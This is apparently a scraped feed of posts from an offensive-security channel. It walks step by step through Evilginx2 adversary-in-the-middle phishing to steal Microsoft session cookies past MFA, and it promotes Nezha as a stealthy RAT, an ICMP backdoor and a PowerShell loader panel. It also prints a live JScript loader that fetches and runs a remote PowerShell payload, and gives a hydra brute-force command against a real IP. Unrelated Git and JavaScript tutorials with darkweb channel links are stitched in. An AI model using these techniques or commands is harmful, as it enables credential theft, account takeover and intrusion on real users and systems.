All Security Engineering Courses

⏰🤖Real-Time Phishing Agents (Dynamic Phishing) ❓ why we use Real-time Phishing Agents (Dynamic Phishing) : When we relay on static templates the site will update continuously this will make the work more harder to Update the Phishing template every day, also if the user enabled MFA the full operation will fall down.. Because MFA code is temporary and we have 0 interaction with the Real Site to verify the token we got... That`s why the Dynamic Phishing Solve this matter. ℹ️ what is shown in the image above is example of Phishing operation in real time, where the attacker don`t relay on static template, instead its clone the server page in real-time , that`s will help the attacker to don`t relay on static templates and update it every day to mimic the real site. 😈 Adversary-in-the-Middle (AiTM): is a targeted, real-time phishing technique where the attacker operates a proxy between the victim and the legitimate service to intercept and manipulate the live authentication flow — capturing credentials, session cookies, tokens, or one-time codes so the attacker can immediately take over the session (often bypassing MFA). 🥷 attacker will capture credentials in real-time & often bypass MFA and that is the biggest advantage of Dynamic Phishing. 💻 Explain the attack Chain Using Evliginx2: 1. The Lure (Step 1) 🕷🔗: The victim clicks a phishing link (e.g., sent via email) that points to the attacker's domain: https://login.fakemicrosoft.com . The victim's browser sends a request to the Evilginx2 server, thinking it is the login page. 2. The Proxy Request (Step 2) 📶: Instead of serving a fake static page, the Evilginx2 server silently forwards that request to the real Microsoft login URL (https://login.microsoftonline.com). 3. Fetching the Real Site (Step 3) ™️🌐 : Microsoft's server receives the request. Thinking it's a normal user, it responds by sending the code for the actual login page back to the Evilginx2 server. 4. Displaying the Trap (Step 4) 🔼🔽: Evilginx2 takes that real login page and serves it to the victim. Crucial Detail: The victim sees the exact real login page because it is the real code, just served from the wrong domain (fakemicrosoft.com). 5. The Interception (Step 5) 💻 : The victim enters their username and password. These credentials are sent to the Evilginx2 server first, not Microsoft. The attacker now captures the password. 6. The Relay (Step 6)👊 : Evilginx2 immediately uses those stolen credentials to log in to the real Microsoft server on the backend. Note: If MFA (2FA) were required, Evilginx would prompt the user for the code here, capture it, and relay that too (this is the "Real-Time" aspect). 7. The Theft (Step 7 - The "Gold") ✅™️ : Microsoft accepts the valid credentials and replies with a Session Cookie (the digital token that proves you are logged in). Evilginx2 captures and saves this cookie. This is the main goal. With this cookie, the attacker can open their own browser, inject the cookie, and access the victim's account without needing the password or MFA again. 8. The Clean Exit (Step 8) 💻🏃‍♂️ : To avoid raising suspicion, Evilginx2 finally redirects the victim to a totally different website (or the actual Microsoft dashboard). The victim thinks they just logged in normally, or perhaps that the page glitched, while the attacker now has full access to the account.

⏰🤖Real-Time Phishing Agents (Dynamic Phishing) ❓ why we use Real-time Phishing Agents (Dynamic Phishing) : When we relay on static templates the site will update continuously this will make the work more harder to Update the Phishing template every day, also if the user enabled MFA the full operation will fall down.. Because MFA code is temporary and we have 0 interaction with the Real Site to verify the token we got... That`s why the Dynamic Phishing Solve this matter. ℹ️ what is shown in the image above is example of Phishing operation in real time, where the attacker don`t relay on static template, instead its clone the server page in real-time , that`s will help the attacker to don`t relay on static templates and update it every day to mimic the real site. 😈 Adversary-in-the-Middle (AiTM): is a targeted, real-time phishing technique where the attacker operates a proxy between the victim and the legitimate service to intercept and manipulate the live authentication flow — capturing credentials, session cookies, tokens, or one-time codes so the attacker can immediately take over the session (often bypassing MFA). 🥷 attacker will capture credentials in real-time & often bypass MFA and that is the biggest advantage of Dynamic Phishing. 💻 Explain the attack Chain Using Evliginx2: 1. The Lure (Step 1) 🕷🔗: The victim clicks a phishing link (e.g., sent via email) that points to the attacker's domain: https://login.fakemicrosoft.com . The victim's browser sends a request to the Evilginx2 server, thinking it is the login page. 2. The Proxy Request (Step 2) 📶: Instead of serving a fake static page, the Evilginx2 server silently forwards that request to the real Microsoft login URL (https://login.microsoftonline.com). 3. Fetching the Real Site (Step 3) ™️🌐 : Microsoft's server receives the request. Thinking it's a normal user, it responds by sending the code for the actual login page back to the Evilginx2 server. 4. Displaying the Trap (Step 4) 🔼🔽: Evilginx2 takes that real login page and serves it to the victim. Crucial Detail: The victim sees the exact real login page because it is the real code, just served from the wrong domain (fakemicrosoft.com). 5. The Interception (Step 5) 💻 : The victim enters their username and password. These credentials are sent to the Evilginx2 server first, not Microsoft. The attacker now captures the password. 6. The Relay (Step 6)👊 : Evilginx2 immediately uses those stolen credentials to log in to the real Microsoft server on the backend. Note: If MFA (2FA) were required, Evilginx would prompt the user for the code here, capture it, and relay that too (this is the "Real-Time" aspect). 7. The Theft (Step 7 - The "Gold") ✅™️ : Microsoft accepts the valid credentials and replies with a Session Cookie (the digital token that proves you are logged in). Evilginx2 captures and saves this cookie. This is the main goal. With this cookie, the attacker can open their own browser, inject the cookie, and access the victim's account without needing the password or MFA again. 8. The Clean Exit (Step 8) 💻🏃‍♂️ : To avoid raising suspicion, Evilginx2 finally redirects the victim to a totally different website (or the actual Microsoft dashboard). The victim thinks they just logged in normally, or perhaps that the page glitched, while the attacker now has full access to the account.

Nezha A legitimate open-source monitoring tool (post-exploitation RAT). Compatible with mainstream systems, including Linux, Windows, macOS, OpenWRT, and Synology. The agent provides SYSTEM/root level access, file management, and an interactive web terminal. VirusTotal shows 0/72 detections because it isn’t malware, it’s legitimate software pointed at attacker infrastructure. Installation is silent. Detection only occurs when attackers execute commands through the agent. Wiki: https://nezha.wiki/en_US/ Research: https://www.ontinue.com/resource/nezha-the-monitoring-tool-thats-also-a-perfect-rat/

TokenFlare Serverless AITM Simulation Framework for Entra ID and M365 Blog: https://labs.jumpsec.com/tokenflare-serverless-AiTM-phishing-in-under-60-seconds/

2026

ESC17: Using ADCS to Attack HTTPS-Enabled WSUS Clients How to leverage misconfigured ADCS templates to gain code execution on HTTPS-enabled WSUS clients.

icmpdoor - если вы проникаете в сеть, вы вероятно задумываетесь о создании бэкдора, чтобы легче контролировать сеть! Но большинство используют протокол TCP/UDP для создания обратной оболочки, что приводит к обнаружению этого устройства системами IPS/IDS, а также к отслеживанию и отключению от сети командами SOC! Для этого подходит протокол ICMP! Система ничего не подозревает и не проверяет связанные с ним журналы! И он даже обходит некоторые брандмауэры! 📱 Подписаться на Boosty 📱 📱 Вступить в закрытый канал на Boosty - Security [private] 📱 👉 Подписаться 👈 #backdoor #network

🛡 Malware Breakdown: Classic JScript via Shell.Application + Remote PowerShell Loader 🛡 This is an old-school but still effective against unpatched or unaware users. Perfect example of how attackers chain legacy techniques for initial access.

ghi = new ActiveXObject('Shell.Application');
ghi['ShellExecute']("powershell", '-ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://decjan2026.blogspot.com/////////nipoli.pdf); Start-Sleep -Seconds 17', "", "open", 0);

🔎 Step-by-Step What It Does: 1️⃣Creates Shell.Application COM Object: ▶️new ActiveXObject('Shell.Application') → Instantiates the Windows Shell COM object (progid: Shell.Application). ▶️This is a legitimate object for file operations, but abused here for silent process creation. 2️⃣Obfuscated ShellExecute Call: ▶️Uses bracket notation ['ShellExecute'] instead of dot (minor obfuscation to evade simple string scans). ▶️Launches PowerShell with: ▶️-ep Bypass: Sets ExecutionPolicy to Bypass (ignores script signing restrictions). ▶️-c: Command mode. 3️⃣Inside the PowerShell Command: ▶️Forces TLS 1.2 for downloads: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 ▶️Ensures compatibility with modern HTTPS sites (bypasses older protocol blocks). ▶️ Downloads & Executes Remote Script: ▶️Invoke-Expression (Invoke-RestMethod https://decjan2026.blogspot.com/////////nipoli.pdf) ▶️ Alias: IEX (IRM ...) ▶️ Fetches content from that Blogger URL (masquerading as a ".pdf" to look innocent) and executes it directly in memory. ▶️ Extra slashes (/////////) are ignored by HTTP — classic URL padding to evade filters. ▶️Start-Sleep -Seconds 17: Delays 17 seconds (likely to evade timed sandbox detection or give payload time to run). 4️⃣ Execution Flags: ▶️Window style 0: Runs PowerShell completely hidden (no visible window). ▶️Verb "open": Standard launch. 🧠 Why This Is Sneaky (2025 Context): ▶️Fileless & Silent: No disk writes initially — downloads straight to memory via IRM + IEX. ▶️Legacy Abuse: ActiveXObject + ShellExecute is ancient (IE-era JScript/WScript), but still works in hta/js/vbs dropped via phishing. ▶️PDF Lure: Filename "nipoli.pdf" tricks users/filters into thinking it's a harmless document. 💡 Pro Tip: This works because many orgs still allow WSH/JScript execution. Disable Windows Script Host via GPO if possible, or use AppLocker/Script Block Logging.

✅ Git Basics You Should Know 🛠📁 Git is a version control system used to track changes in your code, collaborate with others, and manage project history efficiently. 1️⃣ What is Git? Git lets you save snapshots of your code, go back to previous versions, and collaborate with teams without overwriting each other’s work. 📸 2️⃣ Install & Setup Git git --version # Check if Git is installed git config --global user.name "Your Name" git config --global user.email "you@example.com" 3️⃣ Initialize a Repository git init # Start a new local Git repo 🚀 4️⃣ Basic Workflow git add . # Stage all changes ➕ git commit -m "Message" # Save a snapshot 💾 git push # Push to remote (like GitHub) ☁️ 5️⃣ Check Status & History git status # See current changes 🚦 git log # View commit history 📜 6️⃣ Clone a Repo git clone https://github.com/username/repo.git 👯 7️⃣ Branching git branch feature-x # Create a branch 🌳 git checkout feature-x # Switch to it ↔️ git merge feature-x # Merge with main branch 🤝 8️⃣ Undo Mistakes ↩️ git checkout -- file.txt # Discard changes git reset HEAD~1 # Undo last commit (local) git revert <commit_id> # Revert commit (safe) 9️⃣ Working with GitHub – Create repo on GitHub ✨ – Link local repo: git remote add origin <repo_url> git push -u origin main 🔟 Git Best Practices – Commit often with clear messages ✅ – Use branches for features/bugs 💡 – Pull before push 🔄 – Never commit sensitive data 🔒 💡 Tip: Use GitHub Desktop or VS Code Git UI if CLI feels hard at first. Join Us For More.... 🔥Telegram🔥: https://t.me/SuBoXoneSoCiety ☠️Darkweb room☠️: http://suboxone2fzkkkeuezwozbbajgqargceo62wdx3f53awty6dv4mzzbad.onion 🫂Whatsapp community🫂 :https://whatsapp.com/channel/0029VaGX1X47T8bP63aZhb22

✅ JavaScript Advanced Concepts You Should Know 🔍💻 These concepts separate beginner JS from production-level code. Understanding them helps with async patterns, memory, and modular apps. 1️⃣ Closures  A function that "closes over" variables from its outer scope, maintaining access even after the outer function returns. Useful for data privacy and state management.

function outer() {
  let count = 0;
  return function inner() {
    count++;
    console.log(count);
  };
}
const counter = outer();
counter(); // 1
counter(); // 2

2️⃣ Promises & Async/Await  Promises handle async operations; async/await makes them read like sync code. Essential for APIs, timers, and non-blocking I/O.

// Promise chain
fetch(url).then(res => res.json()).then(data => console.log(data)).catch(err => console.error(err));

// Async/Await (cleaner)
async function getData() {
  try {
    const res = await fetch(url);
    const data = await res.json();
    console.log(data);
  } catch (err) {
    console.error(err);
  }
}

3️⃣ Hoisting  Declarations (var, function) are moved to the top of their scope during compilation, but initializations stay put. let/const are block-hoisted but in a "temporal dead zone."

console.log(x); // undefined (hoisted, but not initialized)
var x = 5;

console.log(y); // ReferenceError (temporal dead zone)
let y = 10;

4️⃣ The Event Loop  JS is single-threaded; the event loop processes the call stack, then microtasks (Promises), then macrotasks (setTimeout). Explains why async code doesn't block. 5️⃣ this Keyword  Dynamic binding: refers to the object calling the method. Changes with call site, new, or explicit binding.

const obj = {
  name: "Sam",
  greet() {
    console.log(`Hi, I'm ${this.name}`);
  },
};
obj.greet(); // "Hi, I'm Sam"

// In arrow function, this is lexical
const arrowGreet = () => console.log(this.name); // undefined in global

6️⃣ Spread & Rest Operators  Spread (...) expands iterables; rest collects arguments into arrays.

const nums = [1, 2, 3];
const more = [...nums, 4]; // [1, 2, 3, 4]

function sum(...args) {
  return args.reduce((a, b) => a + b, 0);
}
sum(1, 2, 3); // 6

7️⃣ Destructuring  Extract values from arrays/objects into variables.

const person = { name: "John", age: 30 };
const { name, age } = person; // name = "John", age = 30

const arr = [1, 2, 3];
const [first, second] = arr; // first = 1, second = 2

8️⃣ Call, Apply, Bind  Explicitly set 'this' context. Call/apply invoke immediately; bind returns a new function.

function greet() {
  console.log(`Hi, I'm ${this.name}`);
}
greet.call({ name: "Tom" }); // "Hi, I'm Tom"

const boundGreet = greet.bind({ name: "Alice" });
boundGreet(); // "Hi, I'm Alice"

9️⃣ IIFE (Immediately Invoked Function Expression)  Self-executing function to create private scope, avoiding globals.

(function() {
  console.log("Runs immediately");
  let privateVar = "hidden";
})();

🔟 Modules (import/export)  ES6 modules for code organization and dependency management.

// math.js
export const add = (a, b) => a + b;
export default function multiply(a, b) { return a * b; }

// main.js
import multiply, { add } from './math.js';
console.log(add(2, 3)); // 5

💡 Practice these in a Node.js REPL or browser console to see how they interact. Join Us For More.... 🔥Telegram🔥: https://t.me/SuBoXoneSoCiety ☠️Darkweb room☠️: http://suboxone2fzkkkeuezwozbbajgqargceo62wdx3f53awty6dv4mzzbad.onion 🫂Whatsapp community🫂 :https://whatsapp.com/channel/0029VaGX1X47T8bP63aZhb22

Cosmali Loader Cosmali is a stealthy client management and control panel designed to deploy and manage PowerShell-based payloads across multiple machines. It provides real-time monitoring, scripting capabilities, and statistical insights for your agents. https://github.com/Quasar-Continuation/cosmali

Meanwhile i will collect some wordlists http://ftp.icm.edu.pl/packages/wordlists/ https://totseans.com/totse/en/hack/word_lists/index.html https://download.openwall.net/pub/wordlists/ http://www.outpost9.com/files/WordLists.html https://packetstormsecurity.com/Crackers/wordlists/ https://github.com/danielmiessler/SecLists/tree/master/Passwords

Then we got a list of help. Now type: .\hydra.exe -l user -P .\rockyou.txt ftp://128.127.71.241 ftp is your ip, and you can use random wordlists, i put rockyou.txt into your folder because thats a big list. If you want to download some specified wordlists/dictionarys: http://ftp.cerias.purdue.edu/pub/dict/ https://www.outpost9.com/files/wordlists/